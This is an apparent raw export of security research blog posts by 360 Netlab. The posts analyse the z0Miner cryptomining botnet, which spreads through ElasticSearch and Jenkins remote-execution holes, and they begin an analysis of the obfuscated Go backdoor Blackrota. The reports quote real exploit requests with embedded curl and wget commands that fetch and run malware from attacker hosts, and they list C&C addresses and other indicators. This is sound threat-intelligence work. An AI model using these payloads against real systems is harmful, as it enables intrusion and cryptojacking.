z0.txt"]]],[3,"ol",[[[0,[],0,"Kill the competitor"]],[[0,[],0,"Setting up Cron"]],[[0,[],0,"Download & execute the mining programs"]]]],[1,"h3",[[0,[0],1,"Cron"]]],[1,"p",[[0,[],0,"As in the early days, z0Miner will still download and execute malicious scripts on Pastebin periodically by setting up Cron tasks, the latest malicious script URLs are as follows."]]],[10,3],[1,"p",[[0,[],0,"Currently, the script downloaded from the above URL only contains an "],[0,[2],1,"exit"],[0,[],0," command, and more malicious actions probably will be added in the future."]]],[1,"h3",[[0,[0],1,"Mining"]]],[1,"p",[[0,[],0,"After killing competitors and setting up crontab, "],[0,[0],1,"conf.txt"],[0,[],0," will download the mining kit from the following 3 URLs and start mining."]]],[10,4],[1,"p",[[0,[],0,"The "],[0,[0],1,"solr.sh"],[0,[],0," file is a shell script file dedicated to killing more competitors and starting the mining program."]]],[1,"p",[[0,[],0,"The XMR Wallet in the "],[0,[0],1,"config.json"],[0,[],0," file differs from the earlier z0Miner Wallet:"]]],[10,5],[1,"p",[[0,[],0,"And now reads over 22 XMRs have been mined so far."]]],[10,6],[1,"h3",[[0,[0,0],2,"Contact us"]]],[1,"p",[[0,[],0,"Readers are always welcomed to reach us on "],[0,[3,0,0],3,"twitter"],[0,[],0,", or email to netlab at 360"],[1,[],0,0],[0,[],0,"dot cn."]]],[1,"h2",[[0,[0],1,"IoC"]]],[1,"h3",[[0,[0],1,"C&C"]]],[10,7],[1,"h3",[[0,[0],1,"URL"]]],[10,8],[1,"h3",[[0,[0],1,"MD5"]]],[10,9],[1,"h3",[[0,[0],1,"XRM Wallet"]]],[10,10]],"ghostVersion":"3.0"} | 609612363819e50007633d06 |
post | null | 2021-05-08T04:38:27.000Z | 63873b9a8b1c1e0007f52fbe | wei-xie-kuai-xun-z0miner-zheng-zai-li-yong-elasticsearch-he-jenkins-lou-dong-da-si-chuan-bo-2 | 0 | 2021-05-08T04:39:43.000Z | public | published | null | 2021-03-07T04:38:00.000Z | 威胁快讯：z0Miner 正在利用 ElasticSearch 和 Jenkins 漏洞大肆传播 | <h2 id="-"><strong><strong>版权</strong></strong></h2><p>版权声明: 本文为Netlab原创，依据<strong> <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></strong> 许可证进行授权，转载请附上出处链接及本声明。</p><h2 id="--1"><strong>概述</strong></h2><p>最近几个月受比特币、门罗币大涨的刺激，各种挖矿家族纷纷活跃起来，我们的 BotMon 系统每天都能检测到几十上百起的挖矿类 Botnet 攻击事件。根据我们统计，它们多数是已经出现过的老家族，有的只是换了新的钱包或者传播方式，<strong>z0Miner</strong> 就是其中一例。</p><p><strong>z0Miner</strong> 是去年开始活跃的一个恶意挖矿家族，<a href="https://s.tencent.com/research/report/1170.html">业界已有公开的分析</a>。<strong>z0Miner</strong> 最初活跃时，利用 Weblogic 未授权命令执行漏洞进行传播。</p><p>近期，360 网络安全研究院 Anglerfish 蜜罐系统监测到 <strong>z0Miner</strong> 又利用 ElasticSearch 和 Jenkins 的远程命令执行漏洞进行大肆传播，近期活跃趋势如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/status.png" class="kg-image" alt loading="lazy"></figure><h2 id="--2"><strong>漏洞利用情况</strong></h2><h3 id="elasticsearch-rce-cve-2015-1427"><strong>ElasticSearch RCE 漏洞 CVE-2015-1427</strong></h3><p>虽然是个 2015 年的老漏洞，<strong>z0Miner</strong> 仍然利用它进行大肆传播。漏洞利用 Payload 如下(已抹除关键细节)：</p><pre><code>POST /{VULN_URI} HTTP/1.1
Host: {target}:{port}
{...exec(\"curl -fsSL http://27.1.1.34:8080/docs/conf.txt -o /tmp/baby\")...}
</code></pre><h3 id="jenkins-script-console-rce-"><strong>Jenkins script console RCE 漏洞</strong></h3><p>该漏洞被曝光的时间比上面的 <strong>CVE-2015-1427</strong> 更早一些，<strong>z0Miner</strong> 利用它来传播的 Payload 如下：</p><pre><code>POST /{VULN_URL} HTTP/1.1
Host: {target}:{port}
curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Run
</code></pre><h2 id="--3"><strong>样本分析</strong></h2><h3 id="-shell-"><strong>初始 Shell 脚本</strong></h3><p>上述两个漏洞利用的 Payload，核心逻辑都是下载 <code>hxxp://27.1.1.34:8080/docs/conf.txt</code> 并执行。该文件为恶意 Shell 脚本，对应于 <strong>z0Miner</strong> 早期的 <strong>z0.txt</strong>。其运行逻辑与早期 <strong>z0.txt</strong> 基本一致：</p><ol><li>Kill 竞争对手；</li><li>设置 Cron 任务；</li><li>下载&执行挖矿套件。</li></ol><h3 id="cron-"><strong>Cron 任务</strong></h3><p>同早期一样， <strong>z0Miner</strong> 仍会通过设置 Cron 任务定期下载、执行 Pastebin 上的恶意脚本，最新的恶意脚本 URL 如下：</p><pre><code>hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt
</code></pre><p>目前，以上 URL 下载到的脚本内容只有一个 <code>exit</code> 命令，不排除以后会加入更多恶意动作。</p><h3 id="--4"><strong>挖矿</strong></h3><p>在 Kill 一批竞争对手、设置好 Cron 任务后， <strong>conf.txt</strong> 会从以下 3 个 URL 下载挖矿套件，启动矿机挖矿：</p><pre><code>hxxp://27.1.1.34:8080/docs/config.json --> Mining Config file
hxxp://178.62.202.152:8080/Wuck/java.exe --> XMRig Miner
hxxp://27.1.1.34:8080/docs/solr.sh --> Miner Starter Shell script file
</code></pre><p><strong>solr.sh</strong> 文件是一个专门负责 Kill 更多竞争对手、启动矿机程序的 Shell 脚本文件。</p><p><strong>config.json</strong> 文件中的 XMR Wallet 与早期 <strong>z0Mner</strong> 的 Wallet 不同，现为：</p><pre><code>49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7
</code></pre><p>目前已挖到 XMR 超 22 枚：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/xmr_paid.png" class="kg-image" alt loading="lazy"></figure><h3 id="--5"><strong><strong>处置建议</strong></strong></h3><p>我们建议 ElasticEearch 和 Jenkins 用户及时检查并更新，同时检查是否存在异常进程和网络连接。<br>我们建议读者对相关 IP 和 URL 进行监控和封锁。</p><h3 id="--6"><strong><strong>联系我们</strong></strong></h3><p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong><strong>twitter</strong></strong></a> 或者通过邮件<strong><strong>netlab[at]360.cn</strong></strong>联系我们。</p><h2 id="ioc"><strong>IoC</strong></h2><h3 id="cc"><strong>C&C</strong></h3><pre><code>27.1.1.34:8080 Republic_of_Korea|Seoul ASN9943|KangNam_CableTV
178.62.202.152:8080 Netherlands|North_Holland|Amsterdam ASN14061|DigitalOcean
</code></pre><h3 id="url"><strong>URL</strong></h3><pre><code>hxxp://27.1.1.34:8080/docs/conf.txt
hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt
hxxp://27.1.1.34:8080/docs/config.json
hxxp://178.62.202.152:8080/Wuck/java.exe
hxxp://178.62.202.152:8080/Wuck/xmrig.exe
hxxp://27.1.1.34:8080/docs/solr.sh
</code></pre><h3 id="md5"><strong>MD5</strong></h3><pre><code>84417ff134484bb8ce4ff567574beaa5
c1dcc75d729e31833892cb649f450568
adb190c4e90cc61ca266cfda355826df
d833fc2ced5d0791a404ced14ecf4e20
26a91e9a94c7f8d966de1541095a3d92
373b018bef17e04d8ff29472390403f9
</code></pre><h3 id="xrm-wallet"><strong>XRM Wallet</strong></h3><pre><code>49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7</code></pre> | 版权
版权声明: 本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
概述
最近几个月受比特币、门罗币大涨的刺激，各种挖矿家族纷纷活跃起来，我们的 BotMon 系统每天都能检测到几十上百起的挖矿类 Botnet 攻击事件。根据我们统计，它们多数是已经出现过的老家族，有的只是换了新的钱包或者传播方式，z0Miner 就是其中一例。
z0Miner 是去年开始活跃的一个恶意挖矿家族，业界已有公开的分析。z0Miner 最初活跃时，利用 Weblogic 未授权命令执行漏洞进行传播。
近期，360 网络安全研究院 Anglerfish 蜜罐系统监测到 z0Miner 又利用 ElasticSearch 和 Jenkins 的远程命令执行漏洞进行大肆传播，近期活跃趋势如下：
漏洞利用情况
ElasticSearch RCE 漏洞 CVE-2015-1427
虽然是个 2015 年的老漏洞，z0Miner 仍然利用它进行大肆传播。漏洞利用 Payload 如下(已抹除关键细节)：
POST /{VULN_URI} HTTP/1.1
Host: {target}:{port}
{...exec(\"curl -fsSL http://27.1.1.34:8080/docs/conf.txt -o /tmp/baby\")...}
Jenkins script console RCE 漏洞
该漏洞被曝光的时间比上面的 CVE-2015-1427 更早一些，z0Miner 利用它来传播的 Payload 如下：
POST /{VULN_URL} HTTP/1.1
Host: {target}:{port}
curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Run
样本分析
初始 Shell 脚本
上述两个漏洞利用的 Payload，核心逻辑都是下载 hxxp://27.1.1.34:8080/docs/conf.txt 并执行。该文件为恶意 Shell 脚本，对应于 z0Miner 早期的 z0.txt。其运行逻辑与早期 z0.txt 基本一致：
1. Kill 竞争对手；
2. 设置 Cron 任务；
3. 下载&执行挖矿套件。
Cron 任务
同早期一样， z0Miner 仍会通过设置 Cron 任务定期下载、执行 Pastebin 上的恶意脚本，最新的恶意脚本 URL 如下：
hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt
目前，以上 URL 下载到的脚本内容只有一个 exit 命令，不排除以后会加入更多恶意动作。
挖矿
在 Kill 一批竞争对手、设置好 Cron 任务后， conf.txt 会从以下 3 个 URL 下载挖矿套件，启动矿机挖矿：
hxxp://27.1.1.34:8080/docs/config.json --> Mining Config file
hxxp://178.62.202.152:8080/Wuck/java.exe --> XMRig Miner
hxxp://27.1.1.34:8080/docs/solr.sh --> Miner Starter Shell script file
solr.sh 文件是一个专门负责 Kill 更多竞争对手、启动矿机程序的 Shell 脚本文件。
config.json 文件中的 XMR Wallet 与早期 z0Mner 的 Wallet 不同，现为：
49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7
目前已挖到 XMR 超 22 枚：
处置建议
我们建议 ElasticEearch 和 Jenkins 用户及时检查并更新，同时检查是否存在异常进程和网络连接。
我们建议读者对相关 IP 和 URL 进行监控和封锁。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC
C&C
27.1.1.34:8080 Republic_of_Korea|Seoul ASN9943|KangNam_CableTV
178.62.202.152:8080 Netherlands|North_Holland|Amsterdam ASN14061|DigitalOcean
URL
hxxp://27.1.1.34:8080/docs/conf.txt
hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt
hxxp://27.1.1.34:8080/docs/config.json
hxxp://178.62.202.152:8080/Wuck/java.exe
hxxp://178.62.202.152:8080/Wuck/xmrig.exe
hxxp://27.1.1.34:8080/docs/solr.sh
MD5
84417ff134484bb8ce4ff567574beaa5
c1dcc75d729e31833892cb649f450568
adb190c4e90cc61ca266cfda355826df
d833fc2ced5d0791a404ced14ecf4e20
26a91e9a94c7f8d966de1541095a3d92
373b018bef17e04d8ff29472390403f9
XRM Wallet
49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7 | {"version":"0.3.1","atoms":[["soft-return","",{}]],"cards":[["image",{"src":"__GHOST_URL__/content/images/2021/03/status.png","alt":"","title":""}],["code",{"code":"POST /{VULN_URI} HTTP/1.1\nHost: {target}:{port}\n\n{...exec(\\\"curl -fsSL http://27.1.1.34:8080/docs/conf.txt -o /tmp/baby\\\")...}\n"}],["code",{"code":"POST /{VULN_URL} HTTP/1.1\nHost: {target}:{port}\n\ncurl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Run\n"}],["code",{"code":"hxxps://pastebin.com/raw/4rb51qKW\nhxxps://pastebin.com/raw/bwD1BCXt\n"}],["code",{"code":"hxxp://27.1.1.34:8080/docs/config.json --> Mining Config file\nhxxp://178.62.202.152:8080/Wuck/java.exe --> XMRig Miner\nhxxp://27.1.1.34:8080/docs/solr.sh --> Miner Starter Shell script file\n"}],["code",{"code":"49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/xmr_paid.png","alt":"","title":""}],["code",{"code":"27.1.1.34:8080 Republic_of_Korea|Seoul ASN9943|KangNam_CableTV\n178.62.202.152:8080 Netherlands|North_Holland|Amsterdam ASN14061|DigitalOcean\n"}],["code",{"code":"hxxp://27.1.1.34:8080/docs/conf.txt\nhxxps://pastebin.com/raw/4rb51qKW\nhxxps://pastebin.com/raw/bwD1BCXt\nhxxp://27.1.1.34:8080/docs/config.json\nhxxp://178.62.202.152:8080/Wuck/java.exe\nhxxp://178.62.202.152:8080/Wuck/xmrig.exe\nhxxp://27.1.1.34:8080/docs/solr.sh\n"}],["code",{"code":"84417ff134484bb8ce4ff567574beaa5\nc1dcc75d729e31833892cb649f450568\nadb190c4e90cc61ca266cfda355826df\nd833fc2ced5d0791a404ced14ecf4e20\n26a91e9a94c7f8d966de1541095a3d92\n373b018bef17e04d8ff29472390403f9\n"}],["code",{"code":"49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7"}]],"markups":[["strong"],["a",["href","https://creativecommons.org/licenses/by-sa/4.0/"]],["a",["href","https://s.tencent.com/research/report/1170.html"]],["code"],["a",["href","https://twitter.com/360Netlab"]]],"sections":[[1,"h2",[[0,[0,0],2,"版权"]]],[1,"p",[[0,[],0,"版权声明: 本文为Netlab原创，依据"],[0,[0],0," "],[0,[1],2,"CC BY-SA 4.0"],[0,[],0," 许可证进行授权，转载请附上出处链接及本声明。"]]],[1,"h2",[[0,[0],1,"概述"]]],[1,"p",[[0,[],0,"最近几个月受比特币、门罗币大涨的刺激，各种挖矿家族纷纷活跃起来，我们的 BotMon 系统每天都能检测到几十上百起的挖矿类 Botnet 攻击事件。根据我们统计，它们多数是已经出现过的老家族，有的只是换了新的钱包或者传播方式，"],[0,[0],1,"z0Miner"],[0,[],0," 就是其中一例。"]]],[1,"p",[[0,[0],1,"z0Miner"],[0,[],0," 是去年开始活跃的一个恶意挖矿家族，"],[0,[2],1,"业界已有公开的分析"],[0,[],0,"。"],[0,[0],1,"z0Miner"],[0,[],0," 最初活跃时，利用 Weblogic 未授权命令执行漏洞进行传播。"]]],[1,"p",[[0,[],0,"近期，360 网络安全研究院 Anglerfish 蜜罐系统监测到 "],[0,[0],1,"z0Miner"],[0,[],0," 又利用 ElasticSearch 和 Jenkins 的远程命令执行漏洞进行大肆传播，近期活跃趋势如下："]]],[10,0],[1,"h2",[[0,[0],1,"漏洞利用情况"]]],[1,"h3",[[0,[0],1,"ElasticSearch RCE 漏洞 CVE-2015-1427"]]],[1,"p",[[0,[],0,"虽然是个 2015 年的老漏洞，"],[0,[0],1,"z0Miner"],[0,[],0," 仍然利用它进行大肆传播。漏洞利用 Payload 如下(已抹除关键细节)："]]],[10,1],[1,"h3",[[0,[0],1,"Jenkins script console RCE 漏洞"]]],[1,"p",[[0,[],0,"该漏洞被曝光的时间比上面的 "],[0,[0],1,"CVE-2015-1427"],[0,[],0," 更早一些，"],[0,[0],1,"z0Miner"],[0,[],0," 利用它来传播的 Payload 如下："]]],[10,2],[1,"h2",[[0,[0],1,"样本分析"]]],[1,"h3",[[0,[0],1,"初始 Shell 脚本"]]],[1,"p",[[0,[],0,"上述两个漏洞利用的 Payload，核心逻辑都是下载 "],[0,[3],1,"hxxp://27.1.1.34:8080/docs/conf.txt"],[0,[],0," 并执行。该文件为恶意 Shell 脚本，对应于 "],[0,[0],1,"z0Miner"],[0,[],0," 早期的 "],[0,[0],1,"z0.txt"],[0,[],0,"。其运行逻辑与早期 "],[0,[0],1,"z0.txt"],[0,[],0," 基本一致："]]],[3,"ol",[[[0,[],0,"Kill 竞争对手；"]],[[0,[],0,"设置 Cron 任务；"]],[[0,[],0,"下载&执行挖矿套件。"]]]],[1,"h3",[[0,[0],1,"Cron 任务"]]],[1,"p",[[0,[],0,"同早期一样， "],[0,[0],1,"z0Miner"],[0,[],0," 仍会通过设置 Cron 任务定期下载、执行 Pastebin 上的恶意脚本，最新的恶意脚本 URL 如下："]]],[10,3],[1,"p",[[0,[],0,"目前，以上 URL 下载到的脚本内容只有一个 "],[0,[3],1,"exit"],[0,[],0," 命令，不排除以后会加入更多恶意动作。"]]],[1,"h3",[[0,[0],1,"挖矿"]]],[1,"p",[[0,[],0,"在 Kill 一批竞争对手、设置好 Cron 任务后， "],[0,[0],1,"conf.txt"],[0,[],0," 会从以下 3 个 URL 下载挖矿套件，启动矿机挖矿："]]],[10,4],[1,"p",[[0,[0],1,"solr.sh"],[0,[],0," 文件是一个专门负责 Kill 更多竞争对手、启动矿机程序的 Shell 脚本文件。"]]],[1,"p",[[0,[0],1,"config.json"],[0,[],0," 文件中的 XMR Wallet 与早期 "],[0,[0],1,"z0Mner"],[0,[],0," 的 Wallet 不同，现为："]]],[10,5],[1,"p",[[0,[],0,"目前已挖到 XMR 超 22 枚："]]],[10,6],[1,"h3",[[0,[0,0],2,"处置建议"]]],[1,"p",[[0,[],0,"我们建议 ElasticEearch 和 Jenkins 用户及时检查并更新，同时检查是否存在异常进程和网络连接。"],[1,[],0,0],[0,[],0,"我们建议读者对相关 IP 和 URL 进行监控和封锁。"]]],[1,"h3",[[0,[0,0],2,"联系我们"]]],[1,"p",[[0,[],0,"感兴趣的读者，可以在 "],[0,[4,0,0],3,"twitter"],[0,[],0," 或者通过邮件"],[0,[0,0],2,"netlab[at]360.cn"],[0,[],0,"联系我们。"]]],[1,"h2",[[0,[0],1,"IoC"]]],[1,"h3",[[0,[0],1,"C&C"]]],[10,7],[1,"h3",[[0,[0],1,"URL"]]],[10,8],[1,"h3",[[0,[0],1,"MD5"]]],[10,9],[1,"h3",[[0,[0],1,"XRM Wallet"]]],[10,10]],"ghostVersion":"3.0"} | 609615c33819e50007633d0c |
post | null | 2021-05-08T04:41:59.000Z | 63873b9a8b1c1e0007f52fbf | blackrota-a-heavily-obfuscated-backdoor-written-in-go | 0 | 2021-05-08T04:43:22.000Z | public | published | null | 2020-11-24T04:41:00.000Z | Blackrota, a heavily obfuscated backdoor written in Go | <p>The most obfuscated Go-developed ELF-formatted malware we've found<br>to date.</p><h2 id="overview"><strong>Overview</strong></h2><p>Recently, a malicious backdoor program written in the Go language that<br>exploits an unauthorized access vulnerability in the Docker Remote API<br>was caught by the our <strong>Anglerfish</strong> honeypot. We named it <strong>Blackrota</strong>, given<br>that its C2 domain name is <code>blackrota.ga</code> .</p><p>The <strong>Blackrota</strong> backdoor is currently only available for Linux, in ELF file<br>format, and supports both x86/x86-64 CPU architectures. Blackrota is<br>configured and compiled based on <strong><a href="https://github.com/darkr4y/geacon">geacon</a></strong>, a CobaltStrike Beacon implemented in the Go language, which can be used as a CobalStrike Beacon that interacts with CobaltStrike to control compromised hosts:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/geacon-1.png" class="kg-image" alt loading="lazy"></figure><p>However, it only implements some of the key functions in the original CobaltStrike Beacon:</p><ul><li><strong>CMD_SHELL</strong>: Execute Shell command;</li><li><strong>CMD_UPLOAD</strong>: Upload files;</li><li><strong>CMDDOWNLOAD</strong>: Download the specified file;</li><li><strong>CMD_FILE_BROWSE</strong>: File browsing;</li><li><strong>CMD_CD</strong>: Change directory；</li><li><strong>CMD_SLEEP</strong>: Set the sleep delay time;</li><li><strong>CMD_PWD</strong>: Return current directory;</li><li><strong>CMD_EXIT</strong>: Exit.</li></ul><p>Unlike the original <strong>geacon</strong>, <strong>Blackrota</strong> uses <strong><a href="https://github.com/unixpickle/gobfuscate">gobfuscate</a></strong> to obfuscate the<br>source code before compiling. <strong>gobfuscate</strong> is an open-source tool for Go code<br>obfuscation, which can obfuscate the following elements of Go source code<br>with random character substitutions:</p><ul><li><strong>Package Names</strong>;</li><li><strong>Global Variable Names</strong>;</li><li><strong>Function Names</strong>;</li><li><strong>Type Names</strong>;</li><li><strong>Method Names</strong>.</li></ul><p>In addition, gobfuscate replaces all strings used in the code with XOR<br>encodings, assigning each string an XOR Decoding function that dynamically decodes strings during program execution.</p><p>The Go language uses fully static links to build binary files. As a result, all<br>the codes used in standard and third-party libraries are packed into binary files, resulting in very large binary files. This characteristic, from a reverse analysis point of view, means that when you open a Go binary file in a disassembly tool, you will see thousands or even tens of thousands of functions. If these functions don't have corresponding symbolics, it will be difficult to reverse-analyze Go binary files.</p><p>The good news is that the Go language has another mechanism: when building a binary, both the <strong>RTSI</strong>(Runtime Symbol Information) and the <strong>RTTI</strong>(Runtime Type Information) are packed into the binary and cannot be stripped. Currently, almost all the dedicated tools to help reverse engineering Go binaries try to recover those information from Go binaries to assist analyse process. Go projects often import many third-party open-source packages. Genrally, the recovered <strong>RTSI</strong> and <strong>RTTI</strong> will lead us to the corresponding open-source package, we can then read the source code of third-party packages, which will further increase the efficiency of reverse analysis.</p><p><strong>Blackrota</strong> uses <strong>gobfuscate</strong> to obfuscate symbolic and type information, which is the "life-door" of such reverse-analysis tools. The symbolic information they parse and recover becomes unreadable, and it is not possible to make sense of the symbolic and type information, and it is not possible to know which third-party packages were imported to the project. This makes the reverse analysis process a lot more difficult.</p><p>Historically, we have seen malware written in Go that was at best stripped at compiling time, and at worst slightly obfuscated, without much difficulty in reverse analysis. Blackrota brings a new approach to obfuscation, and is the most obfuscated Go-written malware in ELF format that we have found to date.</p><h2 id="analysis"><strong>Analysis</strong></h2><h3 id="the-spread-of-blackrota"><strong>The spread of Blackrota</strong></h3><p>The author of <strong>Blackrato</strong> recruits multiple payloads for unauthorized use<br>of the Docker Remote API. A typical payload is simplified as follows:</p><pre><code>POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json
{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}
</code></pre><p>With a successful payload, the 32bit or 64bit Blackrota backdoor program will be downloaded from the following 2 URLs:</p><pre><code>https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64
</code></pre><h3 id="blackrota-backdoor-program"><strong>Blackrota backdoor program</strong></h3><p>As described above,<strong>Blackrota</strong> backdoor program was written in Go language, with the help of our <strong><a href="https://github.com/0xjiayu/go_parser">go_parser</a></strong> in IDAPro, we can tell it was compiled from <strong>Go1.15.3</strong>, with <strong>GOROOT</strong> path <code>"/usr/local/Cellar/ go/1.15.3/libexec"</code>.In addition to these two valid pieces of information, the parsed source file paths, function names, global variable names, data type names, and method names bound to datat ypes are all obfuscated with random character substitutions and are unreadable.</p><p>We can see the source file path list involved in the project (the directory of<br>the source file is named with a random string):</p><pre><code>/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go
</code></pre><h3 id="blackrota-s-function-symblos"><strong>Blackrota's function symblos</strong></h3><p>From the above parsing results, the biggest obstacle to reverse analysis is that the function names, type names, and method names are obfuscated into meaningless random characters in the source code of the third-party packages imported from the <strong>Blackrota</strong> sample. Partial list of functions after parsing:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfuscated_funcs-1.png" class="kg-image" alt loading="lazy"></figure><p>Obfuscated data type definition:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfuscated_type-1.png" class="kg-image" alt loading="lazy"></figure><p>In addition, there are still some method names bound to data types that are<br>not completely obfuscated:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/half_obfuscated_meth_name-1.png" class="kg-image" alt loading="lazy"></figure><p>With thousands of random string-named functions and a large number of randomly-named data types, methods, and global variables, we could not be sure what third-party Go packages were used inside the sample, making the reverse analysis almost impossible to move forward. Eventually, after some careful analysis, we discovered that the Blackrota sample was compiled from <strong>geacon</strong>.</p><p>In this way, we can try to recover the function symbols in the <strong>Blackrota</strong> sample using the following steps.</p><ol><li>Compile a geacon binary with the same CPU architecture as the Blackrota sample, without stripped;</li><li>Use <strong><a href="https://github.com/fireeye/flare-ida/blob/master/python/flare/idb2pat.py">idb2pat.py</a></strong> in IDAPro to extract the pattern(<strong>geacon.pat</strong>) of the <strong>geacon</strong>'s functions;</li><li>Use the <strong>sigmake</strong> in Flair Tools set to create a Flirt Signature file for geacon(<strong>geacon.sig</strong>).</li><li>Import <strong>geacon.sig</strong> to <strong>Blackrota</strong>'s sample in IDAPro, identify and recover the function symbols.</li></ol><p>Progress made! But don't get too excited yet, because we found out that <strong>Blackrota</strong>'s function symbols are not completely recognized, and there are about a hundred functions that are not covered by geacon's symbols, some of which are recognized as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/part_of_recovered_funcname-1.png" class="kg-image" alt loading="lazy"></figure><h3 id="strings-in-blackrota"><strong>Strings in Blackrota</strong></h3><p>In the analysis above, we saw that only a very few of the strings used in the Go standard packages are parsed in <strong>Blackrota</strong>, while the strings inside 